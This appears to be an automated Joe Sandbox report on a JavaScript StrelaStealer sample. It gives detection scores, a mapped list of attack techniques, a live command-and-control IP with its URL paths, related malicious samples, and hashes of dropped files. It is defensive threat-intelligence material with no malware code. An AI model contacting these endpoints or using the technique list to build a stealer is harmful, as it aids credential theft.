Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6515707756641447.js	7%	Virustotal		Browse
6515707756641447.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/m	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2233263591.00000283379C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3455251128.0000028337C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2229321879.000002AF76B3E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229321879.000002AF76B24000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/m	net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588526
Start date and time:	2025-01-11 02:04:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6515707756641447.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 162.159.61.3, 172.64.41.3, 23.209.209.135, 199.232.214.172, 184.28.90.27, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 88.221.110.91, 2.16.100.168, 13.107.246.45, 172.202.163.200, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:05:12	API Interceptor	22x Sleep call for process: powershell.exe modified
20:05:16	API Interceptor	1x Sleep call for process: net.exe modified
20:05:16	API Interceptor	2x Sleep call for process: svchost.exe modified
20:05:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	326391126385512788.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7262850264549849
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0I:9JZj5MiKNnNhoxul
MD5:	62EF425985DCFE6E7AB35F8EF53F46D7
SHA1:	1AF4A0E4DCFC46EF9E5247B37670F683C7F4E8CA
SHA-256:	6616958C8F28B644682F0ABE70E0CCDFB163220DB14650B4132AAD26503CB293
SHA-512:	C02B2D92F651E2EA48C64BAF15533F77CDD277541C22C0AC69F992D7F438E3756D7F8245C3D73AB9004F9532B2A7D5E00F1D5BAA41302C4DD9FB2E7F0CBA7FE1
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xd61cccdc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555359978486407
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	B8FA5A8917A7C84E48885FF9BB8B96C0
SHA1:	760F5964D10A18550D1AF70E7568E407E9875ADE
SHA-256:	BBABEA326A90CE871C047C840C4AE657E230EDD724CCE5CB0B5D5C7F9C477550
SHA-512:	63E3A8F5A549BD6FC72A98216D3948CBBF71995C8CD3AB141F2424FCB73EDDF7B085D4F6CE71B4F8C7D86018BF0A790FC4B15BE3241695CD1EC36CF458CB2911
Malicious:	false
Preview:	....... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................3.(.....}..................R.I.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07820107694711798
Encrypted:	false
SSDEEP:	3:GyYeDdfNaAPaU1lKsZkrhalluxmO+l/SNxOf:GyzDxNDPaUyKk4gmOH
MD5:	5DCA4EAF349964E2C890F49D5CA4DFB1
SHA1:	C0B95B6DBE74C0D1E34853CC8F0E07B86819FC1D
SHA-256:	9126A6115B7FA0BB244870E352D54A47B0FE91FFC77524DDAC885B7493E1581A
SHA-512:	0E28DBA6A234B2B685F9A35DC4340BF54D483644D15740A88B93C44EC565653D28B7C0E9D98AF1FF7FA39B3F0802193C6821ECF06B22BDF3D660666612157A4B
Malicious:	false
Preview:	)..o.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................R.I.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.112055155371031
Encrypted:	false
SSDEEP:	6:iO4qVVd+q2PN72nKuAl9OmbnIFUtSqVVnZmwsqVViUg3VkwON72nKuAl9OmbjLJ:7nL+vVaHAahFUtZl/L0Ug3V5OaHAaSJ
MD5:	E19B8C34922A7FF9B414AE939F3D40E0
SHA1:	C470D16B7FC61544ED16FBB1F303716BBE65B362
SHA-256:	83CBA934C49DF2F451225B22894D464D08D1EA4F51C24AAD1E4D5901A70EDD21
SHA-512:	7132405ADC68E0CB0995B8531F285BFDBE8E4CA06BA8D76BBF71EAB939D0D822CD59E00ACEF54DE9D5290B3F606674D237B3354126B98200AF16D83297812D99
Malicious:	false
Preview:	2025/01/10-20:05:16.422 12dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:05:16.424 12dc Recovering log #3.2025/01/10-20:05:16.425 12dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.112055155371031
Encrypted:	false
SSDEEP:	6:iO4qVVd+q2PN72nKuAl9OmbnIFUtSqVVnZmwsqVViUg3VkwON72nKuAl9OmbjLJ:7nL+vVaHAahFUtZl/L0Ug3V5OaHAaSJ
MD5:	E19B8C34922A7FF9B414AE939F3D40E0
SHA1:	C470D16B7FC61544ED16FBB1F303716BBE65B362
SHA-256:	83CBA934C49DF2F451225B22894D464D08D1EA4F51C24AAD1E4D5901A70EDD21
SHA-512:	7132405ADC68E0CB0995B8531F285BFDBE8E4CA06BA8D76BBF71EAB939D0D822CD59E00ACEF54DE9D5290B3F606674D237B3354126B98200AF16D83297812D99
Malicious:	false
Preview:	2025/01/10-20:05:16.422 12dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:05:16.424 12dc Recovering log #3.2025/01/10-20:05:16.425 12dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.103514218180499
Encrypted:	false
SSDEEP:	6:iO4qVVrvIq2PN72nKuAl9Ombzo2jMGIFUtSqVVzZmwsqVVpkwON72nKuAl9Ombzz:7n5IvVaHAa8uFUtZd/Lv5OaHAa8RJ
MD5:	AFBE2F2207B4E6C43A581316B015AE92
SHA1:	6313CED1CAB250D83961CCE3EF59B76CA0873067
SHA-256:	4BB284FBA85E341EE6BB308A830DF07F2BF54AA56EFA84ED8523C9E0A94C3B7F
SHA-512:	CB9AD50D78D17C731476B84AA410EFF59BB5BE2DBCDD358C60CB92962FA2A961BA0A22DF87E5060E2A94F45892ABC910B607FE07B7AE650908617F86376A3BE1
Malicious:	false
Preview:	2025/01/10-20:05:16.456 11a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:05:16.458 11a0 Recovering log #3.2025/01/10-20:05:16.458 11a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.103514218180499
Encrypted:	false
SSDEEP:	6:iO4qVVrvIq2PN72nKuAl9Ombzo2jMGIFUtSqVVzZmwsqVVpkwON72nKuAl9Ombzz:7n5IvVaHAa8uFUtZd/Lv5OaHAa8RJ
MD5:	AFBE2F2207B4E6C43A581316B015AE92
SHA1:	6313CED1CAB250D83961CCE3EF59B76CA0873067
SHA-256:	4BB284FBA85E341EE6BB308A830DF07F2BF54AA56EFA84ED8523C9E0A94C3B7F
SHA-512:	CB9AD50D78D17C731476B84AA410EFF59BB5BE2DBCDD358C60CB92962FA2A961BA0A22DF87E5060E2A94F45892ABC910B607FE07B7AE650908617F86376A3BE1
Malicious:	false
Preview:	2025/01/10-20:05:16.456 11a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:05:16.458 11a0 Recovering log #3.2025/01/10-20:05:16.458 11a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.956796897039125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7uYhsBdOg2H3dkAcaq3QYiubcP7E4T3y:Y2sRds/7dMHY3QYhbA7nby
MD5:	9B0937DF136E662A6EB83C41E7C4E1C0
SHA1:	3FEB3F1F07A38154BECDC4F650E6858D1E285C3F
SHA-256:	DDB11F3683D3DF4A8F0AED850CAB3CA9C919B04855F44ABDA705111F03D63395
SHA-512:	623F69D2BE6CC7B5BE5A9C6F748509BE5E259F7EFC4980F9D368605F4A18363C9001CEC5E5367A5E265B57426AD00DB004D33CC20E16F4074A4CF0BFEEBC0C9D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117528268324","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":185298},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d6f724e9-1f49-4a73-9c03-8c324f5caf47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956796897039125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7uYhsBdOg2H3dkAcaq3QYiubcP7E4T3y:Y2sRds/7dMHY3QYhbA7nby
MD5:	9B0937DF136E662A6EB83C41E7C4E1C0
SHA1:	3FEB3F1F07A38154BECDC4F650E6858D1E285C3F
SHA-256:	DDB11F3683D3DF4A8F0AED850CAB3CA9C919B04855F44ABDA705111F03D63395
SHA-512:	623F69D2BE6CC7B5BE5A9C6F748509BE5E259F7EFC4980F9D368605F4A18363C9001CEC5E5367A5E265B57426AD00DB004D33CC20E16F4074A4CF0BFEEBC0C9D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117528268324","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":185298},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2526551622085
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7GjFp:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzha
MD5:	4A33B9BE45A8F2BE7EA1AA23CCF8AE51
SHA1:	8E89A3ECE76BDF2B5FFAF08908BBDCF210F65749
SHA-256:	B64A167EC57052D2207AFA3480A3DCD522074F567E353D6000AD09E741586A90
SHA-512:	99588CDC6EF6EFD741A3108E93B6B2E8AE3A8D95F83BAA6992570D23BE9B9A2E2DA2FF5B0E214E227EBEA5F0FF162D53308D078F6EB1389F4CA55798E5835210
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.074086494644491
Encrypted:	false
SSDEEP:	6:iO4qVVwq2PN72nKuAl9OmbzNMxIFUtSqVVhQXZmwsqVVZ7kwON72nKuAl9OmbzNq:7nOvVaHAa8jFUtZAX/L/5OaHAa84J
MD5:	DEF70C8D0FFFC9FDD34962D7579AFFDA
SHA1:	0836C5191A698C2D9B7EFA7B01DFAE0760280804
SHA-256:	36A4629357063DCFB114869100F9B96C65DCBC50B512E9FC9552F67ED2788A0C
SHA-512:	A8EF5AD8E831A2DC897A6E1D05C11031F1CBADCACEE0DC40D9198784E5585D2466DCC7613292F56E743CFAFFFBEFC4C94683AAAFB327FA058FAFA5EFBBBC5B46
Malicious:	false
Preview:	2025/01/10-20:05:16.690 11a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:05:16.691 11a0 Recovering log #3.2025/01/10-20:05:16.692 11a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.074086494644491
Encrypted:	false
SSDEEP:	6:iO4qVVwq2PN72nKuAl9OmbzNMxIFUtSqVVhQXZmwsqVVZ7kwON72nKuAl9OmbzNq:7nOvVaHAa8jFUtZAX/L/5OaHAa84J
MD5:	DEF70C8D0FFFC9FDD34962D7579AFFDA
SHA1:	0836C5191A698C2D9B7EFA7B01DFAE0760280804
SHA-256:	36A4629357063DCFB114869100F9B96C65DCBC50B512E9FC9552F67ED2788A0C
SHA-512:	A8EF5AD8E831A2DC897A6E1D05C11031F1CBADCACEE0DC40D9198784E5585D2466DCC7613292F56E743CFAFFFBEFC4C94683AAAFB327FA058FAFA5EFBBBC5B46
Malicious:	false
Preview:	2025/01/10-20:05:16.690 11a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:05:16.691 11a0 Recovering log #3.2025/01/10-20:05:16.692 11a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4445134353816345
Encrypted:	false
SSDEEP:	384:ye6ci5tRiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mis3OazzU89UTTgUL
MD5:	3A45AD66D316B06CDDE0B9576AC28BBF
SHA1:	ED6741BEB6027B0462B73830A5548038E483E989
SHA-256:	EB550E806F529ACB88EFD1E3211CFD9A72054BABAC63EB9F2121E6BB388DFE77
SHA-512:	4A190B2E806868579359DEF7BC908ECD5774F8E243AB420D4BA613392ADA2C336346DF7476A2C17C7F49287A80582C14A111EB554F0D6E99A9334818C8CB65E0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.76795406865183
Encrypted:	false
SSDEEP:	48:7MjJioyVrioy/oy1C7oy16oy1JKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oq:7MJur5kXjBiMb9IVXEBodRBk8
MD5:	61C503977267B77DFF71B4570E64FFF8
SHA1:	E20E9811389CA2FD6E2789E7E7D70738079F4F66
SHA-256:	5AC44271214B086935A99969C54DB716CBDC06311D487BB359A0F8522401DFC0
SHA-512:	1B0FE0C625A4654C090DCFCE2B421618C3C5F91224004E26BE5DB7A2646F27D066A8FB822E03F9667852BDD5C0E1AF2BA905D5AB248AEC81CD167825ED57F5D4
Malicious:	false
Preview:	.... .c.......b...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
